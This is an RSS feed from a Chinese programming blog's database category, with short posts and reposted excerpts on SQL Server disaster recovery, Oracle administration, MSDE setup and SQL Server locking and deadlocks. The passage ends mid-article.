﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-计算机学习积累-随笔分类-数据库</title><link>http://www.blogjava.net/freebird/category/12569.html</link><description>            －－－－转载有理，转载是想研究，想研究才会看，看了才会有感想，转载后我有时会写一些自己的感受</description><language>zh-cn</language><lastBuildDate>Sun, 08 Aug 2010 11:54:41 GMT</lastBuildDate><pubDate>Sun, 08 Aug 2010 11:54:41 GMT</pubDate><ttl>60</ttl><item><title>用PC作数据库服务器的容灾问题</title><link>http://www.blogjava.net/freebird/archive/2010/08/08/328242.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Sun, 08 Aug 2010 08:09:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2010/08/08/328242.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/328242.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2010/08/08/328242.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/328242.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/328242.html</trackback:ping><description><![CDATA[现在好多小单位都有自己的财务等一些小系统，但是又不想花大价钱购买昂贵的服务器，基本上是去科技市场攒一台PC来当服务器用。 <br />
但是必竞是PC机，故障的机率会大一些。 <span style="color: red">尤其是硬盘</span>--数据的心脏，但是坏的可能性也是最大的，这可真是一件头大的事情。<br />
当然可以用raid实现，raid卡也需要主板的支持，pc机的主板支持raid的好像也不多，而且raid做阵列也挺麻烦的，恢复的时候也不简单。<br />
而且一但raid卡坏了，那还真是个大的麻烦，要去买一块一样的raid卡，时间长了还真不好买一样的。&nbsp;<br />
<br />
<br />
其实了解了数据库的恢复机制，这个问题也好办，可以用以下方法实现，我感觉这个方法比raid简单多了&nbsp;<br />
<br />
1.最少用两块硬盘，一块存放数据库的数据文件，一块存放数据库的日志文件&nbsp;<br />
2.对数据库要做一次完全备份，备份可以和日志文件放在一块硬盘上&nbsp;<br />
3.打开数据库的完全日志 要做的就以上这些，是否很简单。<br />
<br />
<br />
以上我是针对sqlserver来操作的。而且把数据文件和日志文件分别放到不同的盘上还可以提高性能，一举两得。&nbsp;<br />
这样，不管其中哪块硬盘出问题，都可以实现数据恢复 如果放数据文件的硬盘损坏，你可以用完全备份和日志文件来恢复数据。<br />
如果日志文件硬盘损坏，不影响使用，换块新的就OK。当然两块同时坏了就完了，不过机率太小了吧，哈哈 
<img src ="http://www.blogjava.net/freebird/aggbug/328242.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2010-08-08 16:09 <a href="http://www.blogjava.net/freebird/archive/2010/08/08/328242.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle内存分配与调整 --转</title><link>http://www.blogjava.net/freebird/archive/2009/08/03/289641.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Mon, 03 Aug 2009 10:12:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/08/03/289641.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/289641.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/08/03/289641.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/289641.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/289641.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: l       前言<br><br><br><br>对于oracle的内存的管理，截止到9iR2，都是相当重要的环节，管理不善，将可能给数据库带来严重的性能问题。下面我们将一步一步就内存管理的各个方面进行探讨。<br><br>&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/08/03/289641.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/289641.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-08-03 18:12 <a href="http://www.blogjava.net/freebird/archive/2009/08/03/289641.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle数据文件移动方法 - 转</title><link>http://www.blogjava.net/freebird/archive/2009/08/02/289468.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Sun, 02 Aug 2009 07:39:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/08/02/289468.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/289468.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/08/02/289468.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/289468.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/289468.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 6.2 参考资料：Oracle数据库移动方法<br>这里所指“数据库移动”是将Oracle数据文件（系统数据文件或用户数据文件）、控制文件、重做日志移动至新的存储路径，并修改Oracle相关配置，使之可以重新正常启动。这种应用常见于系统扩容后的Oracle数据存储路径的调整。<br>以下面为例，移动系统表空间的相关文件位置，并重新配置Oracle。假设原存储路径为/oradata，新存储路径为/oratest。<br>6.2.1 移动数据库文件<br>1） 获取数据库相关信息<br>查看一下数据库的文件内容：<br>sqlplus /nolog<br>SQL> connect /as sysdba<br>SQL> select * from v$datafile;<br>SQL> select * from v$controlfile<br>SQL> select * from v$logfile;&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/08/02/289468.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/289468.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-08-02 15:39 <a href="http://www.blogjava.net/freebird/archive/2009/08/02/289468.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于MSDE使用和发布的一些体会 - 转</title><link>http://www.blogjava.net/freebird/archive/2009/08/01/289413.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Sat, 01 Aug 2009 11:34:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/08/01/289413.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/289413.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/08/01/289413.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/289413.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/289413.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1.MSDE的安装:<br>MSDE如果默认安装的话,实例名和机器名是一致的,同时系统的SA密码会被设置为空.如果要对其做一些修改,可以通过修改目录下的SETUP.INI文件来实现,其中主要涉及以下几项:<br>[Options]<br>SECURITYMODE=SQL      //登陆方式,SQL表示SQL登陆<br>INSTANCENAME=singlewks      //实例名<br>DISABLENETWORKPROTOCOLS=1    //网络可访问性,0表示网络用户可访问,1表示不可以<br>DATADIR="c:\singlewks\Data"     //数据文件存放位置<br>SAPWD=your_pwd     //SA密码&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/08/01/289413.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/289413.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-08-01 19:34 <a href="http://www.blogjava.net/freebird/archive/2009/08/01/289413.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle job 转</title><link>http://www.blogjava.net/freebird/archive/2009/06/18/282971.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Thu, 18 Jun 2009 00:58:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/06/18/282971.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/282971.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/06/18/282971.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/282971.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/282971.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 常要oracle数据库定时的自动执行一些脚本，或做数据库备份，或做数据的提炼，或做数据库的性能优化，包括重建索引等等的工作,这时需要用到一个函数dbms_job.submit，来完成Oracle定时器Job时间的处理上。使用dbms_job.submit这个函数，我们只需要考虑两个事情：安排某一任务，和定制一个执行任务的时间点。但最重要也是最棘手的事情，我认为还是确定一个执行任务的时间点。时间点确定了，其他的事情就好办了。下面是函数dbms_job.submit使用方法： &nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/06/18/282971.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/282971.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-06-18 08:58 <a href="http://www.blogjava.net/freebird/archive/2009/06/18/282971.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE中NOT IN 的替代</title><link>http://www.blogjava.net/freebird/archive/2009/06/10/281144.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Wed, 10 Jun 2009 06:18:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/06/10/281144.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/281144.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/06/10/281144.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/281144.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/281144.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 典型的查询方式为：<br>SELECT TITLE<br>FROM BOOKSHELF<br>WHERE TITLE NOT IN<br>      (SELECT TITLE FROM BOOKSHELF_CHECKOUT)<br>ORDER BY TITLE；<br>如果BOOKSHELF_CHECKOUT很大的话，速度可能会很慢，因为ORACLE会在BOOKSHELF_CHECKOUT上执行一个时间密集型的全表扫描。<br><br>oracle 中not in 效率不高<br>&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/06/10/281144.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/281144.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-06-10 14:18 <a href="http://www.blogjava.net/freebird/archive/2009/06/10/281144.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MS SQL Server和MySQL区别 -转</title><link>http://www.blogjava.net/freebird/archive/2009/05/26/277980.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 26 May 2009 03:54:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/05/26/277980.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/277980.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/05/26/277980.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/277980.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/277980.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1 MySQL支持enum,和set类型，SQL Server不支持<br><br>2 MySQL不支持nchar,nvarchar,ntext类型<br><br>3 MySQL的递增语句是AUTO_INCREMENT，而MS SQL是identity(1,1)<br><br>4 MS SQL默认到处表创建语句的默认值表示是((0)),而在MySQL里面是不允许带两括号的<br><br>5 MySQL需要为表指定存储类型<br>&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/05/26/277980.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/277980.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-05-26 11:54 <a href="http://www.blogjava.net/freebird/archive/2009/05/26/277980.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>access日期和时间函数 转</title><link>http://www.blogjava.net/freebird/archive/2009/05/21/272006.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Thu, 21 May 2009 08:04:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/05/21/272006.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/272006.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/05/21/272006.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/272006.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/272006.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 设置当前日期或时间。 Date ,Now, Time <br>计算日期: DateAdd, DateDiff, DatePart <br>返回日期: DateSerial, DateValue <br>返回时间: TimeSerial, TimeValue <br>设置日期或时间: Date, Time <br>计时: Timer <br>在帮助里有~ <br>--------------------------- &nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/05/21/272006.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/272006.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-05-21 16:04 <a href="http://www.blogjava.net/freebird/archive/2009/05/21/272006.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>乐观锁、悲观锁 （转程兴国）</title><link>http://www.blogjava.net/freebird/archive/2009/04/28/267936.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 08:06:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/04/28/267936.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/267936.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/04/28/267936.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/267936.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/267936.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: B/S构架的应用越来越普及，但由于它有别于C/S构架的特殊性，并发控制始终没能得到很好的解决，如售票系统经常会出现同一张火车票出售多次的现象。典型的案例如下：&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/04/28/267936.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/267936.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-04-28 16:06 <a href="http://www.blogjava.net/freebird/archive/2009/04/28/267936.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sqlserver的updlock锁 （转）</title><link>http://www.blogjava.net/freebird/archive/2009/04/28/267933.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 08:04:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/04/28/267933.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/267933.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/04/28/267933.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/267933.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/267933.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: UPDLOCK<br>　　读取表时使用更新锁，而不使用共享锁，并将锁一直保留到语句或事务的结束。UPDLOCK 的优点是允许您读取数据（不阻塞其它事务）并在以后更新数据，同时确保自从上次读取数据后数据没有被更改。<br>　　这是SqlServer2000中对更新锁的说明.&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/04/28/267933.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/267933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-04-28 16:04 <a href="http://www.blogjava.net/freebird/archive/2009/04/28/267933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用事务与锁，实现一个用户取过的数据不被其他用户取到（转邹健）</title><link>http://www.blogjava.net/freebird/archive/2009/04/28/267931.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 07:55:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/04/28/267931.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/267931.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/04/28/267931.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/267931.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/267931.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 问题描述：<br><br>用ADO访问数据库，从一个表中取一定的记录（比如20行），取出后在程序中使用，使用完后删除掉记录（不用更新或删除记录）。在多用户操作下(每个用户采用相同的操作)，怎么保证一个用户已选取的记录不被其他用户选取?<br>&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/04/28/267931.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/267931.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-04-28 15:55 <a href="http://www.blogjava.net/freebird/archive/2009/04/28/267931.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>并发提交，单号避免重复</title><link>http://www.blogjava.net/freebird/archive/2009/04/28/267889.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 05:31:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2009/04/28/267889.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/267889.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2009/04/28/267889.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/267889.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/267889.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 这是一个很有代表性的问题，在C/S结构的数据库应用程序中经常碰到，如果这种问题<br>不能很好地解决，可能造成系统速度缓慢、死锁甚至崩溃。&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2009/04/28/267889.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/267889.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2009-04-28 13:31 <a href="http://www.blogjava.net/freebird/archive/2009/04/28/267889.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MS SQL Server数据库事务锁机制分析(转)</title><link>http://www.blogjava.net/freebird/archive/2007/09/20/146670.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Thu, 20 Sep 2007 00:57:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2007/09/20/146670.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/146670.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2007/09/20/146670.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/146670.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/146670.html</trackback:ping><description><![CDATA[
		<font size="2">     锁是网络数据库中的一个非常重要的概念，它主要用于多用户环境下保证数据库完整性和一致性。各种大型数据库所采用的锁的基本理论是一致的，但在具体实现上各有差别。目前，大多数数据库管理系统都或多或少具有自我调节、自我管理的功能，因此很多用户实际上不清楚锁的理论和所用数据库中锁的具体实现。 <br /><br />Microsoft SQL Server（以下简称SQL Server）作为一种中小型数据库管理系统，已经得到了广泛的应用，该系统更强调由系统来管理锁。在用户有SQL请求时，系统分析请求，自动在满足锁定条件和系统性能之间为数据库加上适当的锁，同时系统在运行期间常常自动进行优化处理，实行动态加锁。对于一般的用户而言，通过系统的自动锁定管理机制基本可以满足使用要求，但如果对数据安全、数据库完整性和一致性有特殊要求，就必须自己控制数据库的锁定和解锁，这就需要了解SQL Server的锁机制，掌握数据库锁定方法。 <br /><br />锁的多粒度性以及锁升级 <br /><br />数据库中的锁是指一种软件机制，用来指示某个用户（也即进程会话，下同）已经占用了某种资源，从而防止其他用户做出影响本用户的数据修改或导致数据库数据的非完整性和非一致性。这儿所谓资源，主要指用户可以操作的数据行、索引以及数据表等。根据资源的不同，锁有多粒度（multigranular）的概念，也就是指可以锁定的资源的层次。SQL Server中能够锁定的资源粒度包括：数据库、表、区域、页面、键值（指带有索引的行数据）、行标识符（RID，即表中的单行数据）。 <br /><br />采用多粒度锁的重要用途是用来支持并发操作和保证数据的完整性。SQL Server根据用户的请求，做出分析后自动给数据库加上合适的锁。假设某用户只操作一个表中的部分行数据，系统可能会只添加几个行锁（RID）或页面锁，这样可以尽可能多地支持多用户的并发操作。但是，如果用户事务中频繁对某个表中的多条记录操作，将导致对该表的许多记录行都加上了行级锁，数据库系统中锁的数目会急剧增加，这样就加重了系统负荷，影响系统性能。因此，在数据库系统中，一般都支持锁升级(lock escalation)。所谓锁升级是指调整锁的粒度，将多个低粒度的锁替换成少数的更高粒度的锁，以此来降低系统负荷。在SQL Server中当一个事务中的锁较多，达到锁升级门限时，系统自动将行级锁和页面锁升级为表级锁。特别值得注意的是，在SQL Server中，锁的升级门限以及锁升级是由系统自动来确定的，不需要用户设置。 <br /><br />锁的模式和兼容性 <br /><br />在数据库中加锁时，除了可以对不同的资源加锁，还可以使用不同程度的加锁方式，即锁有多种模式，SQL Server中锁模式包括： <br /><br />1．共享锁 <br /><br />SQL Server中，共享锁用于所有的只读数据操作。共享锁是非独占的，允许多个并发事务读取其锁定的资源。默认情况下，数据被读取后，SQL Server立即释放共享锁。例如，执行查询“SELECT * FROM my_table”时，首先锁定第一页，读取之后，释放对第一页的锁定，然后锁定第二页。这样，就允许在读操作过程中，修改未被锁定的第一页。但是，事务隔离级别连接选项设置和SELECT语句中的锁定设置都可以改变SQL Server的这种默认设置。例如，“ SELECT * FROM my_table HOLDLOCK”就要求在整个查询过程中，保持对表的锁定，直到查询完成才释放锁定。 <br /><br />2．修改锁 <br /><br />修改锁在修改操作的初始化阶段用来锁定可能要被修改的资源，这样可以避免使用共享锁造成的死锁现象。因为使用共享锁时，修改数据的操作分为两步，首先获得一个共享锁，读取数据，然后将共享锁升级为独占锁，然后再执行修改操作。这样如果同时有两个或多个事务同时对一个事务申请了共享锁，在修改数据的时候，这些事务都要将共享锁升级为独占锁。这时，这些事务都不会释放共享锁而是一直等待对方释放，这样就造成了死锁。如果一个数据在修改前直接申请修改锁，在数据修改的时候再升级为独占锁，就可以避免死锁。修改锁与共享锁是兼容的，也就是说一个资源用共享锁锁定后，允许再用修改锁锁定。 <br /><br />3．独占锁 <br /><br />独占锁是为修改数据而保留的。它所锁定的资源，其他事务不能读取也不能修改。独占锁不能和其他锁兼容。 <br /><br />4．结构锁 <br /><br />结构锁分为结构修改锁（Sch-M）和结构稳定锁（Sch-S）。执行表定义语言操作时，SQL Server采用Sch-M锁，编译查询时，SQL Server采用Sch-S锁。 <br /><br />5．意向锁 <br /><br />意向锁说明SQL Server有在资源的低层获得共享锁或独占锁的意向。例如，表级的共享意向锁说明事务意图将独占锁释放到表中的页或者行。意向锁又可以分为共享意向锁、独占意向锁和共享式独占意向锁。共享意向锁说明事务意图在共享意向锁所锁定的低层资源上放置共享锁来读取数据。独占意向锁说明事务意图在共享意向锁所锁定的低层资源上放置独占锁来修改数据。共享式独占锁说明事务允许其他事务使用共享锁来读取顶层资源，并意图在该资源低层上放置独占锁。 <br /><br />6．批量修改锁 <br /><br />批量复制数据时使用批量修改锁。可以通过表的TabLock提示或者使用系统存储过程sp_tableoption的“table lock on bulk load”选项设定批量修改锁。 <br /><br />另外，SQL Server命令语句操作会影响锁定的方式，语句的组合也同样能产生不同的锁定，详情如下表： <br /><br />锁冲突及其防止办法 <br /><br />在数据库系统中，死锁是指多个用户（进程）分别锁定了一个资源，并又试图请求锁定对方已经锁定的资源，这就产生了一个锁定请求环，导致多个用户（进程）都处于等待对方释放所锁定资源的状态。 <br /><br />在SQL Server中，系统能够自动定期搜索和处理死锁问题。系统在每次搜索中标识所有等待锁定请求的进程会话，如果在下一次搜索中该被标识的进程仍处于等待状态，SQL Server就开始递归死锁搜索。 <br /><br />(上接第D21版) 当搜索检测到锁定请求环时，系统将根据各进程会话的死锁优先级别来结束一个优先级最低的事务，此后，系统回滚该事务，并向该进程发出1205号错误信息。这样，其他事务就有可能继续运行了。死锁优先级的设置语句为： <br /><br />SET DEADLOCK_PRIORITY { LOW | NORMAL} <br /><br />其中LOW说明该进程会话的优先级较低，在出现死锁时，可以首先中断该进程的事务。另外，各进程中通过设置LOCK_TIMEOUT选项能够设置进程处于锁定请求状态的最长等待时间。该设置的语句： <br /><br />SET LOCK_TIMEOUT { timeout_period } <br /><br />其中，timeout_period以毫秒为单位。 <br /><br />理解了死锁的概念，在应用程序中就可以采用下面的一些方法来尽量避免死锁了： <br /><br />（1）合理安排表访问顺序。 <br /><br />（2）在事务中尽量避免用户干预，尽量使一个事务处理的任务少些。 <br /><br />（3）采用脏读技术。脏读由于不对被访问的表加锁，而避免了锁冲突。在客户机/服务器应用环境中，有些事务往往不允许读脏数据，但在特定的条件下，我们可以用脏读。 <br /><br />（4）数据访问时域离散法。数据访问时域离散法是指在客户机/服务器结构中，采取各种控制手段控制对数据库或数据库中的对象访问时间段。主要通过以下方式实现: 合理安排后台事务的执行时间，采用工作流对后台事务进行统一管理。工作流在管理任务时，一方面限制同一类任务的线程数（往往限制为1个），防止资源过多占用; 另一方面合理安排不同任务执行时序、时间，尽量避免多个后台任务同时执行，另外， 避免在前台交易高峰时间运行后台任务。 <br /><br />（5）数据存储空间离散法。数据存储空间离散法是指采取各种手段，将逻辑上在一个表中的数据分散到若干离散的空间上去，以便改善对表的访问性能。主要通过以下方法实现: 第一，将大表按行或列分解为若干小表; 第二，按不同的用户群分解。 <br /><br />（6）使用尽可能低的隔离性级别。隔离性级别是指为保证数据库数据的完整性和一致性而使多用户事务隔离的程度，SQL92定义了4种隔离性级别：未提交读、提交读、可重复读和可串行。如果选择过高的隔离性级别，如可串行，虽然系统可以因实现更好隔离性而更大程度上保证数据的完整性和一致性，但各事务间冲突而死锁的机会大大增加，大大影响了系统性能。 <br /><br />（7）使用Bound Connections。Bound connections 允许两个或多个事务连接共享事务和锁，而且任何一个事务连接要申请锁如同另外一个事务要申请锁一样，因此可以允许这些事务共享数据而不会有加锁的冲突。 <br /><br />（8）考虑使用乐观锁定或使事务首先获得一个独占锁定。一个最常见的死锁情况发生在系列号生成器中，它们通常是这样编写的： <br /><br />begin tran <br /><br />select new_id from keytab holdlock <br /><br />update keytab set new_id＝new_id+l <br /><br />commit tran <br /><br />如果有两个用户在同时运行这一事务，他们都会得到共享锁定并保持它。当两个用户都试图得到keytab表的独占锁定时，就会进入死锁。为了避免这种情况的发生，应将上述事务重写成如下形式： <br /><br />begin tran <br /><br />update keytab set new_id=new_id+l <br /><br />select new_id from keytab <br /><br />commit tran <br /><br />以这种方式改写后，只有一个事务能得到keytab的独占锁定，其他进程必须等到第一个事务的完成，这样虽增加了执行时间，但避免了死锁。 <br /><br />如果要求在一个事务中具有读取的可重复能力，就要考虑以这种方式来编写事务，以获得资源的独占锁定，然后再去读数据。例如，如果一个事务需要检索出titles表中所有书的平均价格，并保证在update被应用前，结果不会改变，优化器就会分配一个独占的表锁定。考虑如下的SQL代码： <br /><br />begin tran <br /><br />update titles set title_idid＝title_id ． <br /><br />where 1＝2 <br /><br />if (selectavg(price)fromtitles)&gt;$15 <br /><br />begin <br /><br />/* perform some additional processing */ <br /><br />end <br /><br />update titles set price＝price*1.10 <br /><br />where price&lt;(select avg(price)from titles) <br /><br />commit tran <br /><br />在这个事务中，重要的是没有其他进程修改表中任何行的price，或者说在事务结束时检索的值与事务开始时检索的值不同。这里的where子句看起来很奇怪，但是不管你相信与否，这是迄今为止优化器所遇到的最完美有效的where子句，尽管计算出的结果总是false。当优化器处理此查询时，因为它找不到任何有效的SARG，它的查询规划就会强制使用一个独占锁定来进行表扫描。此事务执行时，where子句立即得到一个false值，于是不会执行实际上的扫描，但此进程仍得到了一个独占的表锁定。 <br /><br />因为此进程现在已有一个独占的表锁，所以可以保证没有其他事务会修改任何数据行，能进行重复读，且避免了由于holdlock所引起的潜在性死锁。但是，要避免死锁，不可能不付出代价。在使用表锁定来尽可能地减少死锁的同时，也增加了对表锁定的争用。因此，在实现这种方法之前，你需要权衡一下：避免死锁是否比允许并发地对表进行访问更重要。 <br /><br />手工加锁 <br /><br />SQL 